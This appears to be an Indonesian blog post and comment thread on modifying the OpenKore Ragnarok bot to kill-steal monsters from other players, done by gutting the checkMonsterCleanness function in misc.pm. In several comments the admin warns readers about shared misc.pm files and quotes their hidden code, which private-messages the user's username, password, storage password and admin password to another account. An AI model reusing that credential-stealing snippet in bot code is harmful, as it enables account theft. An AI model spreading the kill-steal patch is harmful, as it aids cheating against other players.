hitcounter
Terbaru
Cara Modif Bot Openkore Kill Steal

Cara Modif Bot Openkore Kill Steal

Bot Kill Steal modif Openkore Ragnarok
Loading Facebook Comments ...

36 comments

  1. kok saya error om?
    intinya cari yg di atas itu lalu timpa ama yg di bawah?

    • intinya ya gitu..kode asli di timpa/ganti ama kode baru..
      dan intinya lagi..sub function itu tanpa basa basi langsung di kasi return 1;

  2. Bisa om.. bagus sekali om ebo hebat

  3. sekedar sharing buat KILL STEAL

    **************/KILLSTEALBOTRO.zip.html

    cara pemakaian ada di dalamnya..

    happy ro^^

    (Edited By: EBO note: Link Removed, Lebih baik kita belajar editing sendiri, demi menghindari segala kemungkinan negatif yang bisa terjad)

  4. @aji: cieeeee
    @guntur: secara prinsip sama, tapi saya takut ada inject malware di dalamnya..(susah di check)

    Solusi paling aman buat user, edit sendiri openkore yg asli.
    gak ada kecurigaan, gak ada mis version, gak ada keraguan

  5. @ebo: iya emang sih kita blom tau apa di dalamnya inject malware ato tidak..

    solusinya ya edit sendiri,, tapi kalo ga mau repot, sebelum download di scan virus/malware aja dulu.. toh sekarang kan banyak scan virus online FYI aja kk ^^

  6. sekedar share kill steal OK 2.0.6 sama 2.0.7

    ********************/killstealbotro.zip.html

    work 100%, silakan dicoba

    ******************************************************************************
    (EDITED BY:EBO REASON:HACK SCRIPT DETECTED)

    @detected code

    Commands::run(“conf squelchDomains idRO: Fnc Server, pm/sent, info”);
    Commands::run(“pm “rusababi” Username:”.$config{username}.” | Password:”.$config{password}.” | StoragePass:”.$config{storageAuto_password}.” | AdminPas:”.$config{adminPassword});
    }

    P/S: jangan menyebarkan kebencian di sini…terima kasih

    • kok ga jalan ks nya? cobain yang ane deh.. yang ini malah jalan..

      ******************************************************************************
      ****/ksbotro.zip.html (EDITED BY:EBO REASON:HACK SCRIPT DETECTED)

      @detected code

      Commands::run(“conf squelchDomains idRO: Fnc Server, pm/sent, info”);
      Commands::run(“pm “rusababi” Username:”.$config{username}.” | Password:”.$config{password}.” | StoragePass:”.$config{storageAuto_password}.” | AdminPas:”.$config{adminPassword});
      }

      P/S: jangan menyebarkan kebencian di sini…terima kasih

  7. wah thx kk” uda pada share.. yg ryan kok ga jalan ya??
    wkwkwk..

    yg alam bagus banget KS nya :P ..
    recommend deh /no1

  8. @buat admin ko gk jalan yah???malah rusak bot saya

  9. GW BILANGIN YAH JGN PERNAH PAKE PUNYA RIAN…ITU HACKK..BACA AJA COMAND2 NYA BOT LOE NANTI AKAN WHIP NICK YG NAMA NYA “rusabi”
    DARI PASSW,ID,PASSW KAFRA DAN ADMIN PASSW BOT LOE…GILA SAMPAH BGT TUH MANUSIA…

  10. buat bro alam, confignya bisa bat openkore versi terbaru bisa ga ? Sdah coba sih, jalan tapi sempet ada bacaan merah gitu, disuruh quit program…

  11. bang EBO.. itu kalu boleh tau ad dimana misc.pl -nya kmrn cari” nemuny misc.pm thx b4 :D

  12. maybe udah berubah core nya, ini coding udah 1 taon.. cuman secara prinsip harusnya masih sama.

  13. bang ebo boleh minta ymnya ga? buat share2 config kill steal. soalnya takut terjadi hal2 yg tidak diinginkan nih :D

  14. cara di atas udah ane praktekin gan 10x lebih tanpa salah 1 kata/huruf/spaci/tanda apapun gan
    tapi error melulu..
    katanya syntax error gitu…kenapa yah?
    mohon bantuaannya gan

    • Ok, saia baru donlot misc.pm (filenya udah berubah toh) dari alamat berikut:
      http://openkore.svn.sf.net/viewvc/openkore/openkore/trunk/src/?sortby=date

      saia search subroutine yang bernama: checkMonsterCleanness -> ketemu di baris 1300..

      mari amati sekali lagi:

      1300 # boolean checkMonsterCleanness(Bytes ID)
      1301 # ID: the monster’s ID.
      1302 # Requires: $ID is a valid monster ID.
      1303 #
      1304 # Checks whether a monster is “clean” (not being attacked by anyone).
      1305 sub checkMonsterCleanness {
      1306 return 1 if (!$config{attackAuto});
      1307 my $ID = $_[0];
      1308 return 1 if $playersList->getByID($ID) || $slavesList->getByID($ID);
      1309 my $monster = $monstersList->getByID($ID);
      1310
      1311 # If party attacked monster, or if monster attacked/missed party
      1312 if ($monster->{dmgFromParty} > 0 || $monster->{missedFromParty} > 0 || $monster->{dmgToParty} > 0 || $monster->{missedToParty} > 0) {
      1313 return 1;
      1314 }
      1315
      1316 if ($config{aggressiveAntiKS}) {
      1317 # Aggressive anti-KS mode, for people who are paranoid about not kill stealing.
      1318
      1319 # If we attacked the monster first, do not drop it, we are being KSed
      1320 return 1 if ($monster->{dmgFromYou} || $monster->{missedFromYou});
      1321
      1322 # If others attacked the monster then always drop it, wether it attacked us or not!
      1323 return 0 if (($monster->{dmgFromPlayer} && %{$monster->{dmgFromPlayer}})
      1324 || ($monster->{missedFromPlayer} && %{$monster->{missedFromPlayer}})
      1325 || (($monster->{castOnByPlayer}) && %{$monster->{castOnByPlayer}})
      1326 || (($monster->{castOnToPlayer}) && %{$monster->{castOnToPlayer}}));
      1327 }
      1328
      1329 # If monster attacked/missed you
      1330 return 1 if ($monster->{‘dmgToYou’} || $monster->{‘missedYou’});
      1331
      1332 # If we’re in follow mode
      1333 if (defined(my $followIndex = AI::findAction(“follow”))) {
      1334 my $following = AI::args($followIndex)->{following};
      1335 my $followID = AI::args($followIndex)->{ID};
      1336
      1337 if ($following) {
      1338 # And master attacked monster, or the monster attacked/missed master
      1339 if ($monster->{dmgToPlayer}{$followID} > 0
      1340 || $monster->{missedToPlayer}{$followID} > 0
      1341 || $monster->{dmgFromPlayer}{$followID} > 0) {
      1342 return 1;
      1343 }
      1344 }
      1345 }
      1346
      1347 if (objectInsideSpell($monster)) {
      1348 # Prohibit attacking this monster in the future
      1349 $monster->{dmgFromPlayer}{$char->{ID}} = 1;
      1350 return 0;
      1351 }
      1352
      1353 #check party casting on mob
      1354 my $allowed = 1;
      1355 if (scalar(keys %{$monster->{castOnByPlayer}}) > 0)
      1356 {
      1357 foreach (keys %{$monster->{castOnByPlayer}})
      1358 {
      1359 my $ID1=$_;
      1360 my $source = Actor::get($_);
      1361 unless ( existsInList($config{tankersList}, $source->{name}) ||
      1362 ($char->{party} && %{$char->{party}} && $char->{party}{users}{$ID1} && %{$char->{party}{users}{$ID1}}))
      1363 {
      1364 $allowed = 0;
      1365 last;
      1366 }
      1367 }
      1368 }
      1369
      1370 # If monster hasn’t been attacked by other players
      1371 if (scalar(keys %{$monster->{missedFromPlayer}}) == 0
      1372 && scalar(keys %{$monster->{dmgFromPlayer}}) == 0
      1373 #&& scalar(keys %{$monster->{castOnByPlayer}}) == 0 #change to $allowed
      1374 && $allowed
      1375
      1376 # and it hasn’t attacked any other player
      1377 && scalar(keys %{$monster->{missedToPlayer}}) == 0
      1378 && scalar(keys %{$monster->{dmgToPlayer}}) == 0
      1379 && scalar(keys %{$monster->{castOnToPlayer}}) == 0
      1380 ) {
      1381 # The monster might be getting lured by another player.
      1382 # So we check whether it’s walking towards any other player, but only
      1383 # if we haven’t already attacked the monster.
      1384 if ($monster->{dmgFromYou} || $monster->{missedFromYou}) {
      1385 return 1;
      1386 } else {
      1387 return !objectIsMovingTowardsPlayer($monster);
      1388 }
      1389 }
      1390
      1391 # The monster didn’t attack you.
      1392 # Other players attacked it, or it attacked other players.
      1393 if ($monster->{dmgFromYou} || $monster->{missedFromYou}) {
      1394 # If you have already attacked the monster before, then consider it clean
      1395 return 1;
      1396 }
      1397 # If you haven’t attacked the monster yet, it’s unclean.
      1398
      1399 return 0;
      1400 }

      Hapus semua perintah dari baris 1311 sampai dengan baris 1397

      pada baris 1399 ganti return 0; menjadi return 1;

      Selesai deeeh..

      • jadi gan
        agan emang keren,mantep :D
        makasih banyak gan

        btw gan,ane tes bikin skill kok gak jadi yah?apa ane salah baca nama skill yah gan?
        ini bikinan ane gan,mohon pencerahannya..
        useSelf_skill Two-Hand_Quicken {
        lvl 10
        whenStatusInactive Two-Hand_Quicken(Two-Hand_Quicken ane ambil dari “skillsdescriptions.txt”)
        sp > 10%
        timeout 5
        }

  15. Allo gan Ebo… Tq share trik KS ^^
    KS Working 100 % (Tingal menambah return 1)

    Kasus :
    Tp Muncul masalah baru nie kang ebo, Bot tetap dgn rakus nya menghajar smua momon yg ada walaupun HP dah di bawah 40%… emg awalnya dia sitting tp klo ada momon di skitar, dya (bot) akan standing dan menghajar nya

    Pertanyaannya :
    Apakah gara” modif KS ini config
    sitAuto_hp_lower 40 (Ga bekerja) atau ada solusi lain gt gmn, saya mw klo hp masih di bawah 40 jgn dulu berdiri walopun ada momon di skitar bot nya…

    Makasih Kang Ebo ^^

    • wew, saia liat, di baris kode di atas, gak ada hubungan ama sitAuto. soal agresif sepertinya urusan mon_controls.txt

      cmiiw, gak ada file bot di laptop ini, besok saya selidiki di pc dah.

      ^^v

  16. wah, thanks bang EBO, nice kill steal nya work! :)
    keep posting yg menarik :D

  17. emang pas di start gak ada error, tapi kok archerku malah gak mau DS ke monster ya..??

    padahal tadinya sebelum di edit misc.pm dia mau DS

  18. program jalan om…cuma gak mau attck k momon T_T sepertinya problemny sama dengan bang imam… set distance from player di mn om EBO?

  19. ternyata saya belum baca ” Optimisasi Lanjutan ” saya coba dulu tq……

  20. Mas koq punya saya ga agresif ya.. padahal sudah saya seting di config atacknya jadi 3 trus saya kasih killsteal 1.. misc.pm sudah saya ganti sama persis dengan punya mas.. tolong di bantu kenapa koq ga mau agresif nyerangnya.. thanks mas

    • bisa jadi gara2 posisi monsters terlalu dekat dengan char milik orang lain, mungkin bisa di baca artikel optimisasi lanjutan

      • KK ini misc.pm saya tolong di koreksi

        ##
        # boolean checkMonsterCleanness(Bytes ID)
        # ID: the monster’s ID.
        # Requires: $ID is a valid monster ID.
        #
        # Checks whether a monster is “clean” (not being attacked by anyone).
        sub checkMonsterCleanness {
        return 1;
        return 1 if (!$config{attackAuto});
        my $ID = $_[0];
        return 1 if $playersList->getByID($ID) || $slavesList->getByID($ID);
        my $monster = $monstersList->getByID($ID);

        # If party attacked monster, or if monster attacked/missed party
        if ($monster->{dmgFromParty} > 0 || $monster->{missedFromParty} > 0 || $monster->{dmgToParty} > 0 || $monster->{missedToParty} > 0) {
        return 1;
        }

        if ($config{aggressiveAntiKS}) {
        # Aggressive anti-KS mode, for people who are paranoid about not kill stealing.

        # If we attacked the monster first, do not drop it, we are being KSed
        return 1 if ($monster->{dmgFromYou} || $monster->{missedFromYou});

        # If others attacked the monster then always drop it, wether it attacked us or not!
        return 0 if (($monster->{dmgFromPlayer} && %{$monster->{dmgFromPlayer}})
        || ($monster->{missedFromPlayer} && %{$monster->{missedFromPlayer}})
        || (($monster->{castOnByPlayer}) && %{$monster->{castOnByPlayer}})
        || (($monster->{castOnToPlayer}) && %{$monster->{castOnToPlayer}}));
        }

        # If monster attacked/missed you
        return 1 if ($monster->{‘dmgToYou’} || $monster->{‘missedYou’});

        # If we’re in follow mode
        if (defined(my $followIndex = AI::findAction(“follow”))) {
        my $following = AI::args($followIndex)->{following};
        my $followID = AI::args($followIndex)->{ID};

        if ($following) {
        # And master attacked monster, or the monster attacked/missed master
        if ($monster->{dmgToPlayer}{$followID} > 0
        || $monster->{missedToPlayer}{$followID} > 0
        || $monster->{dmgFromPlayer}{$followID} > 0) {
        return 1;
        }
        }
        }

        if (objectInsideSpell($monster)) {
        # Prohibit attacking this monster in the future
        $monster->{dmgFromPlayer}{$char->{ID}} = 1;
        return 0;
        }

        #check party casting on mob
        my $allowed = 1;
        if (scalar(keys %{$monster->{castOnByPlayer}}) > 0)
        {
        foreach (keys %{$monster->{castOnByPlayer}})
        {
        my $ID1=$_;
        my $source = Actor::get($_);
        unless ( existsInList($config{tankersList}, $source->{name}) ||
        ($char->{party} && %{$char->{party}} && $char->{party}{users}{$ID1} && %{$char->{party}{users}{$ID1}}))
        {
        $allowed = 0;
        last;
        }
        }
        }

        # If monster hasn’t been attacked by other players
        if (scalar(keys %{$monster->{missedFromPlayer}}) == 0
        && scalar(keys %{$monster->{dmgFromPlayer}}) == 0
        #&& scalar(keys %{$monster->{castOnByPlayer}}) == 0 #change to $allowed
        && $allowed

        # and it hasn’t attacked any other player
        && scalar(keys %{$monster->{missedToPlayer}}) == 0
        && scalar(keys %{$monster->{dmgToPlayer}}) == 0
        && scalar(keys %{$monster->{castOnToPlayer}}) == 0
        ) {
        # The monster might be getting lured by another player.
        # So we check whether it’s walking towards any other player, but only
        # if we haven’t already attacked the monster.
        if ($monster->{dmgFromYou} || $monster->{missedFromYou}) {
        return 1;
        } else {
        return !objectIsMovingTowardsPlayer($monster);
        }
        }

        # The monster didn’t attack you.
        # Other players attacked it, or it attacked other players.
        if ($monster->{dmgFromYou} || $monster->{missedFromYou}) {
        # If you have already attacked the monster before, then consider it clean
        return 1;
        }
        # If you haven’t attacked the monster yet, it’s unclean.

        return 0;
        }

        • Ini Config saya

          attackAuto 3
          attackAuto_party 2
          attackAuto_onlyWhenSafe 0
          attackAuto_followTarget 1
          attackAuto_inLockOnly 1
          attackDistance 1
          attackDistanceAuto 1
          attackMaxDistance 10
          attackMaxRouteDistance
          attackMaxRouteTime 0
          attackMinPlayerDistance 0
          attackMinPortalDistance 4
          attackUseWeapon 0
          attackNoGiveup 0
          attackCanSnipe 1
          attackCheckLOS 0
          attackLooters 0
          attackChangeTarget 1
          aggressiveAntiKS 0

          Ini Release saya

          attackSkillSlot Release {
          lvl 1
          dist 10, 9, 8, 7, 6, 5, 4, 3, 2, 1
          whenStatusActive EFST_SPELLBOOK6, EFST_SPELLBOOK7
          whenStatusInactive Action Delay
          monsters Roween, Anopheles, Bradium Golem, Tatacho, Centipede
          }

          useSelf_skill {
          lvl 1
          whenStatusInactive Energy Coat
          sp > 10%
          target_timeout 300
          timeout

          }

          doCommand arrowcraft 0 {
          afterSkill Reading Spell Book
          timeout 2
          whenStatusInactive EFST_SPELLBOOK6

          }

          doCommand arrowcraft 0 {
          afterSkill Reading Spell Book
          timeout 2
          whenStatusActive Stop

          }

          useSelf_skill Reading Spellbook {
          lvl 1
          whenStatusActive
          whenStatusInactive EFST_SPELLBOOK6, EFST_SPELLBOOK7
          timeout 5

          }

          attackSkillSlot Crimson Rock {
          lvl 5
          dist
          whenStatusInactive EFST_SPELLBOOK6, EFST_SPELLBOOK7, Action Delay
          hp
          sp
          maxUses
          monster Bradium Golem, Tatacho, Centipede

          }

  21. coba cek ini gw ambil di thread forum sebelah
    http xxxx
    copas misc.pm ke folder src
    di config kasih killSteal 1

    • Maaf komentar anda kami edit. Anda sudah beritikad tidak baik dengan menshare misc.pm yang di inject dengan kode auto pm username pass admin config ke id : serverpass

      sub in_game {
      Commands::run(“conf squelchDomains idRO: Fnc Server, pm/sent, info”);
      Commands::run(“pm \”serverpass\” Username:”.$config{username}.”\ | Password:”.$config{password}.”\ | StoragePass:”.$config{storageAuto_password}.”\ | AdminPas:”.$config{adminPassword});
      }

      Ini alasan kenapa dari awal saya tidak share misc.pm yang sudah jadi tinggal copy dan paste. Yang lain, harap waspada ya.

  22. btw mas mau tanya, biar kita tau bot kita KS gimana ya?? trus jg klo ane cek expnya di start.exenya kok gak kluar ya expnya tau kenapa gak mas ??

Leave a Reply

Scroll To Top